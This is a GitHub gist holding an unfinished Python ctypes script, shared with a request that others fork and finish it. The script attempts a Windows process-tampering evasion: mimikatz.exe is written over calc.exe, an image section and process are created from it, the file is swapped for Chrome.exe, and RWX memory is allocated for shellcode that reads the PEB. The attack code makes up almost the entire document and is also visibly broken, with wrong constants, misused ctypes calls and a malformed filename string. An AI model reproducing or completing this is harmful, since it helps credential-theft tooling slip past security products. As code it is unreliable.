Created
October 29, 2020 19:18
-
-
Save Und3rf10w/f0956329bc7e40f782993ef6a76554d6 to your computer and use it in GitHub Desktop.
You should fork and finish this
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ctypes | |
from ctypes import wintypes | |
import struct | |
source_file_name = "mimikatz.exe" | |
target_file_name = "calc.exe" | |
replacement_file_name = "Chrome.exe" | |
nullptr = ctypes.c_void_p(0) | |
byteptr = ctypes.POINTER(ctypes.c_ubyte) | |
# Windows fileapi share mode constants | |
FILE_SHARE_READ = 0x00000001 | |
FILE_SHARE_WRITE = 0x00000002 | |
FILE_SHARE_DELETE = 0x00000004 | |
# Permissions | |
GENERIC_ALL = 0x1c | |
GENERIC_EXECUTE = 0x1d | |
GENERIC_WRITE = 0x1e | |
GENERIC_READ = 0x1f | |
OPEN_EXISTING = 0x3 | |
FILE_ATTRIBUTE_READONLY = 0x1 | |
FILE_ATTRIBUTE_HIDDEN = 0x2 | |
FILE_ATTRIBUTE_SYSTEM = 0x4 | |
FILE_ATTRIBUTE_ARCHIVE = 0x20 | |
FILE_ATTRIBUTE_NORMAL = 0x80 | |
FILE_ATTRIBUTE_TEMPORARY = 0x100 | |
FILE_ATTRIBUTE_OFFLINE = 0x1000 | |
FILE_ATTRIBUTE_ENCRYPTED = 0x4000 | |
CREATE_NEW = 1 | |
CREATE_ALWAYS = 2 | |
OPEN_EXISTING = 3 | |
OPEN_ALWAYS = 4 | |
TRUNCATE_EXISTING = 5 | |
MEM_COMMIT = 0x00001000 | |
MEM_RESERVE = 0x00002000 | |
# Section Constants, s/o to wine miniddk.h | |
SECTION_MAP_WRITE = 0x0002 | |
SECTION_MAP_READ = 0x0004 | |
SECTION_MAP_EXECUTE = 0x0008 | |
SEC_IMAGE = 0x1000000 | |
# Page Constants | |
PAGE_NOACCESS = 0x01 | |
PAGE_READONLY = 0x02 | |
PAGE_READWRITE = 0x04 | |
PAGE_WRITECOPY = 0x08 | |
PAGE_EXECUTE_READ = 0x20 | |
PAGE_EXECUTE_READWRITE = 0x40 | |
PAGE_EXECUTE_WRITECOPY = 0x80 | |
# Process Constants | |
PROCESS_CREATE_FLAGS_INHERIT_HANDLES = 0x00000004 | |
# Create a void pointer for our process handle | |
process_handle = ctypes.c_void_p() | |
# Create our source process handle | |
source_handle = ctypes.windll.kernel32.CreateFileW(f"{source_file_name}", | |
GENERIC_READ, | |
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, | |
None, | |
OPEN_EXISTING, | |
FILE_ATTRIBUTE_NORMAL, | |
None) | |
# Create our Target Process Handle | |
target_handle = ctypes.windll.kernel32.CreateFileW(f"{target_file_name}", | |
GENERIC_READ | GENERIC_WRITE, | |
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, | |
None, | |
CREATE_ALWAYS, | |
FILE_ATTRIBUTE_NORMAL, | |
None) | |
# Copy the contents of our source process handle to the target process handle | |
source_handle.contents = target_handle.contents | |
# "release" our source handle | |
ctypes.kernel32.CloseHandle(source_handle) | |
del source_handle | |
# Map a section for the target process, starting with creating the target file's image section | |
section_handle = ctypes.c_void_p() | |
ctypes.ntdll.NtCreateSection(ctypes.byref(section_handle), | |
SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, | |
None, | |
None, | |
SEC_IMAGE, | |
target_handle.contents) | |
# Make the process | |
# TODO: implement safety procedure, if this fails release the process handle | |
ctypes.ntdll.NtCreateProcessEx(ctypes.byref(process_handle), | |
None, | |
ctypes.ntdll.NtCurrentProcess(), | |
PROCESS_CREATE_FLAGS_INHERIT_HANDLES, | |
section_handle.contents, | |
None, | |
None, | |
0) | |
# "release" our section handle | |
ctypes.kernel32.CloseHandle(section_handle) | |
del section_handle | |
# Get the RVA of the target handle. Supposedly. See: https://stackoverflow.com/a/32235051 | |
image_entry_point_rva = ctypes.c_uint() | |
ctypes.cast(target_handle, # might be target_handle.contents? | |
image_entry_point_rva) | |
# Set up our replacement handle | |
replacement_handle = ctypes.c_void_p() | |
ctypes.windll.kernel32.CreateFileW(f"replacement_file_name", | |
GENERIC_READ, | |
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, | |
None, | |
OPEN_EXISTING, | |
FILE_ATTRIBUTE_NORMAL, | |
None) | |
# This is where shit gets fucky | |
# Here we're suppose to replace the bytes of target_handle with replacement_handle | |
if len(target_handle) < len(replacement_handle): | |
target_handle.contents = replacement_handle.contents | |
# else: | |
# TODO: if that failed, you should just overwrite the target_handle with some junk, less than the len(target_handle) | |
# !! TODO: Here is where we would implement Utils::ExtendFileSecurityDirectory !! | |
# Now we make it execute | |
# Ripped from: | |
# https://github.com/cuckoosandbox/cuckoo/blob/edd432713934686748298d3c6ff7807d5a9efc87/cuckoo/data/analyzer/windows/lib/api/process.py | |
pbi = ctypes.create_string_buffer(200) | |
size = ctypes.c_int() | |
ctypes.windll.ntdll.NtQueryInformationProcess.restype = wintypes.c_int() | |
ctypes.windll.ntdll.NtQueryInformationProcess(ctypes.byref(process_handle), | |
27, | |
ctypes.byref(pbi), | |
ctypes.sizeof(pbi), | |
ctypes.byref(size)) | |
# Here we're supposed to get the peb of the process | |
# Adapted from: https://gist.github.com/RoeiRaz/6424c66a5af075b7c780ed413bcf6864 | |
# Create a writeable / executable buffer for our shellcode | |
buffer = ctypes.ntdll.VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) | |
writer = ctypes.cast(buffer, byteptr) | |
peb_buffer = ctypes.c_int64(0) | |
# Shellcode to extract the PEB address | |
code = b"\x50\x53\x48\xBB\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x89\x03\x5B\x58\xC3" | |
code = code[:4] + struct.pack("<Q", ctypes.addressof(peb_buffer)) + code[12:] | |
# Right so we're skipping that and going to the last part: |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment